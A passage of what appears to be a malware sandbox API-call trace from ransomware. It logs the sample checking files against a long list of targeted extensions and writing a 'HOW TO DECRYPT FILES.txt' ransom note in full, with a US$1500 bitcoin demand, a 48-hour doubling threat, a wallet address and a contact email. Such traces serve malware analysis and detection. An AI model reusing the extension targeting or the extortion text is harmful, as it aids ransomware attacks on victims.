lstrlenA (lpString="*.svg") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.psd") returned 0 [0058.313] lstrlenA (lpString="*.psd") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.vmx") returned 0 [0058.313] lstrlenA (lpString="*.vmx") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.vmdk") returned 0 [0058.313] lstrlenA (lpString="*.vmdk") returned 6 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.vdi") returned 0 [0058.313] lstrlenA (lpString="*.vdi") returned 5 [0058.313] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.lay6") returned 0 [0058.313] lstrlenA (lpString="*.lay6") returned 6 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mpeg") returned 0 [0058.314] lstrlenA (lpString="*.mpeg") returned 6 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.djvu") returned 0 [0058.314] lstrlenA (lpString="*.djvu") returned 6 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.tiff") returned 0 [0058.314] lstrlenA (lpString="*.tiff") returned 6 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.backup") returned 0 [0058.314] lstrlenA (lpString="*.backup") returned 8 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.pdf") returned 0 [0058.314] lstrlenA (lpString="*.pdf") returned 5 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.cert") returned 0 [0058.314] lstrlenA (lpString="*.cert") returned 6 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.docm") returned 0 [0058.314] lstrlenA (lpString="*.docm") returned 6 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.xlsm") returned 0 [0058.314] lstrlenA (lpString="*.xlsm") returned 6 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.dwg") returned 0 [0058.314] lstrlenA (lpString="*.dwg") returned 5 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.nd") returned 0 [0058.314] lstrlenA (lpString="*.nd") returned 4 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.tlg") returned 0 [0058.314] lstrlenA (lpString="*.tlg") returned 5 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.lgb") returned 0 [0058.314] lstrlenA (lpString="*.lgb") returned 5 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mov") returned 0 [0058.314] lstrlenA (lpString="*.mov") returned 5 [0058.314] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.xdw") returned 0 [0058.314] lstrlenA (lpString="*.xdw") returned 5 [0058.315] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.ods") returned 0 [0058.315] lstrlenA (lpString="*.ods") returned 5 [0058.315] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.wav") returned 0 [0058.315] lstrlenA (lpString="*.wav") returned 5 [0058.315] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.mp3") returned 0 [0058.315] lstrlenA (lpString="*.mp3") returned 5 [0058.315] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.aiff") returned 0 [0058.315] lstrlenA (lpString="*.aiff") returned 6 [0058.315] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.flac") returned 0 [0058.315] lstrlenA (lpString="*.flac") returned 6 [0058.315] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.m4a") returned 0 [0058.315] lstrlenA (lpString="*.m4a") returned 5 [0058.315] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", pszSpec="*.csv") returned 0 [0058.315] lstrlenA (lpString="*.csv") returned 5 [0058.316] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0058.316] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.316] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*") returned="*.*" [0058.316] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.316] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0058.316] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0xffffffff [0058.316] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0058.319] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0058.319] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0058.320] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.320] CloseHandle (hObject=0x8c) returned 1 [0058.320] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="ACECORE.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.ems") returned 0 [0058.321] lstrlenA (lpString="*.ems") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.db") returned 0 [0058.321] lstrlenA (lpString="*.db") returned 4 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.dbf") returned 0 [0058.321] lstrlenA (lpString="*.dbf") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.myox") returned 0 [0058.321] lstrlenA (lpString="*.myox") returned 6 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.myo") returned 0 [0058.321] lstrlenA (lpString="*.myo") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qbw") returned 0 [0058.321] lstrlenA (lpString="*.qbw") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qbb") returned 0 [0058.321] lstrlenA (lpString="*.qbb") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qbm") returned 0 [0058.321] lstrlenA (lpString="*.qbm") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qbo") returned 0 [0058.321] lstrlenA (lpString="*.qbo") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qbx") returned 0 [0058.321] lstrlenA (lpString="*.qbx") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qba") returned 0 [0058.321] lstrlenA (lpString="*.qba") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qby") returned 0 [0058.321] lstrlenA (lpString="*.qby") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qbj") returned 0 [0058.321] lstrlenA (lpString="*.qbj") returned 5 [0058.321] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.ofx") returned 0 [0058.322] lstrlenA (lpString="*.ofx") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.qif") returned 0 [0058.322] lstrlenA (lpString="*.qif") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mye") returned 0 [0058.322] lstrlenA (lpString="*.mye") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mbox") returned 0 [0058.322] lstrlenA (lpString="*.mbox") returned 6 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.eml") returned 0 [0058.322] lstrlenA (lpString="*.eml") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.pst") returned 0 [0058.322] lstrlenA (lpString="*.pst") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.ost") returned 0 [0058.322] lstrlenA (lpString="*.ost") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.idx") returned 0 [0058.322] lstrlenA (lpString="*.idx") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.dbx") returned 0 [0058.322] lstrlenA (lpString="*.dbx") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.sql") returned 0 [0058.322] lstrlenA (lpString="*.sql") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mdb") returned 0 [0058.322] lstrlenA (lpString="*.mdb") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.fdb") returned 0 [0058.322] lstrlenA (lpString="*.fdb") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.wab") returned 0 [0058.322] lstrlenA (lpString="*.wab") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.dat") returned 0 [0058.322] lstrlenA (lpString="*.dat") returned 5 [0058.322] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.txt") returned 0 [0058.323] lstrlenA (lpString="*.txt") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.jpeg") returned 0 [0058.323] lstrlenA (lpString="*.jpeg") returned 6 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.jpg") returned 0 [0058.323] lstrlenA (lpString="*.jpg") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.png") returned 0 [0058.323] lstrlenA (lpString="*.png") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.php") returned 0 [0058.323] lstrlenA (lpString="*.php") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.cs") returned 0 [0058.323] lstrlenA (lpString="*.cs") returned 4 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.cpp") returned 0 [0058.323] lstrlenA (lpString="*.cpp") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.rar") returned 0 [0058.323] lstrlenA (lpString="*.rar") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.zip") returned 0 [0058.323] lstrlenA (lpString="*.zip") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.html") returned 0 [0058.323] lstrlenA (lpString="*.html") returned 6 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.htm") returned 0 [0058.323] lstrlenA (lpString="*.htm") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.xlsx") returned 0 [0058.323] lstrlenA (lpString="*.xlsx") returned 6 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.xls") returned 0 [0058.323] lstrlenA (lpString="*.xls") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mp4") returned 0 [0058.323] lstrlenA (lpString="*.mp4") returned 5 [0058.323] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.ppt") returned 0 [0058.323] lstrlenA (lpString="*.ppt") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.pptx") returned 0 [0058.324] lstrlenA (lpString="*.pptx") returned 6 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.doc") returned 0 [0058.324] lstrlenA (lpString="*.doc") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.dot") returned 0 [0058.324] lstrlenA (lpString="*.dot") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.docx") returned 0 [0058.324] lstrlenA (lpString="*.docx") returned 6 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.7z") returned 0 [0058.324] lstrlenA (lpString="*.7z") returned 4 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.tar") returned 0 [0058.324] lstrlenA (lpString="*.tar") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.bz2") returned 0 [0058.324] lstrlenA (lpString="*.bz2") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.gz") returned 0 [0058.324] lstrlenA (lpString="*.gz") returned 4 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mkv") returned 0 [0058.324] lstrlenA (lpString="*.mkv") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.eml") returned 0 [0058.324] lstrlenA (lpString="*.eml") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.msg") returned 0 [0058.324] lstrlenA (lpString="*.msg") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.edb") returned 0 [0058.324] lstrlenA (lpString="*.edb") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.accdb") returned 0 [0058.324] lstrlenA (lpString="*.accdb") returned 7 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.odb") returned 0 [0058.324] lstrlenA (lpString="*.odb") returned 5 [0058.324] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.java") returned 0 [0058.325] lstrlenA (lpString="*.java") returned 6 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.asm") returned 0 [0058.325] lstrlenA (lpString="*.asm") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.pfx") returned 0 [0058.325] lstrlenA (lpString="*.pfx") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.pem") returned 0 [0058.325] lstrlenA (lpString="*.pem") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.p12") returned 0 [0058.325] lstrlenA (lpString="*.p12") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.gpg") returned 0 [0058.325] lstrlenA (lpString="*.gpg") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.vsd") returned 0 [0058.325] lstrlenA (lpString="*.vsd") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.odg") returned 0 [0058.325] lstrlenA (lpString="*.odg") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.raw") returned 0 [0058.325] lstrlenA (lpString="*.raw") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.nef") returned 0 [0058.325] lstrlenA (lpString="*.nef") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.svg") returned 0 [0058.325] lstrlenA (lpString="*.svg") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.psd") returned 0 [0058.325] lstrlenA (lpString="*.psd") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.vmx") returned 0 [0058.325] lstrlenA (lpString="*.vmx") returned 5 [0058.325] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.vmdk") returned 0 [0058.325] lstrlenA (lpString="*.vmdk") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.vdi") returned 0 [0058.326] lstrlenA (lpString="*.vdi") returned 5 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.lay6") returned 0 [0058.326] lstrlenA (lpString="*.lay6") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mpeg") returned 0 [0058.326] lstrlenA (lpString="*.mpeg") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.djvu") returned 0 [0058.326] lstrlenA (lpString="*.djvu") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.tiff") returned 0 [0058.326] lstrlenA (lpString="*.tiff") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.backup") returned 0 [0058.326] lstrlenA (lpString="*.backup") returned 8 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.pdf") returned 0 [0058.326] lstrlenA (lpString="*.pdf") returned 5 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.cert") returned 0 [0058.326] lstrlenA (lpString="*.cert") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.docm") returned 0 [0058.326] lstrlenA (lpString="*.docm") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.xlsm") returned 0 [0058.326] lstrlenA (lpString="*.xlsm") returned 6 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.dwg") returned 0 [0058.326] lstrlenA (lpString="*.dwg") returned 5 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.nd") returned 0 [0058.326] lstrlenA (lpString="*.nd") returned 4 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.tlg") returned 0 [0058.326] lstrlenA (lpString="*.tlg") returned 5 [0058.326] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.lgb") returned 0 [0058.326] lstrlenA (lpString="*.lgb") returned 5 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mov") returned 0 [0058.327] lstrlenA (lpString="*.mov") returned 5 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.xdw") returned 0 [0058.327] lstrlenA (lpString="*.xdw") returned 5 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.ods") returned 0 [0058.327] lstrlenA (lpString="*.ods") returned 5 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.wav") returned 0 [0058.327] lstrlenA (lpString="*.wav") returned 5 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.mp3") returned 0 [0058.327] lstrlenA (lpString="*.mp3") returned 5 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.aiff") returned 0 [0058.327] lstrlenA (lpString="*.aiff") returned 6 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.flac") returned 0 [0058.327] lstrlenA (lpString="*.flac") returned 6 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.m4a") returned 0 [0058.327] lstrlenA (lpString="*.m4a") returned 5 [0058.327] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", pszSpec="*.csv") returned 0 [0058.327] lstrlenA (lpString="*.csv") returned 5 [0058.327] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.327] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ACEDAO.DLL") returned 1 [0058.327] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ACEDAO.DLL") returned 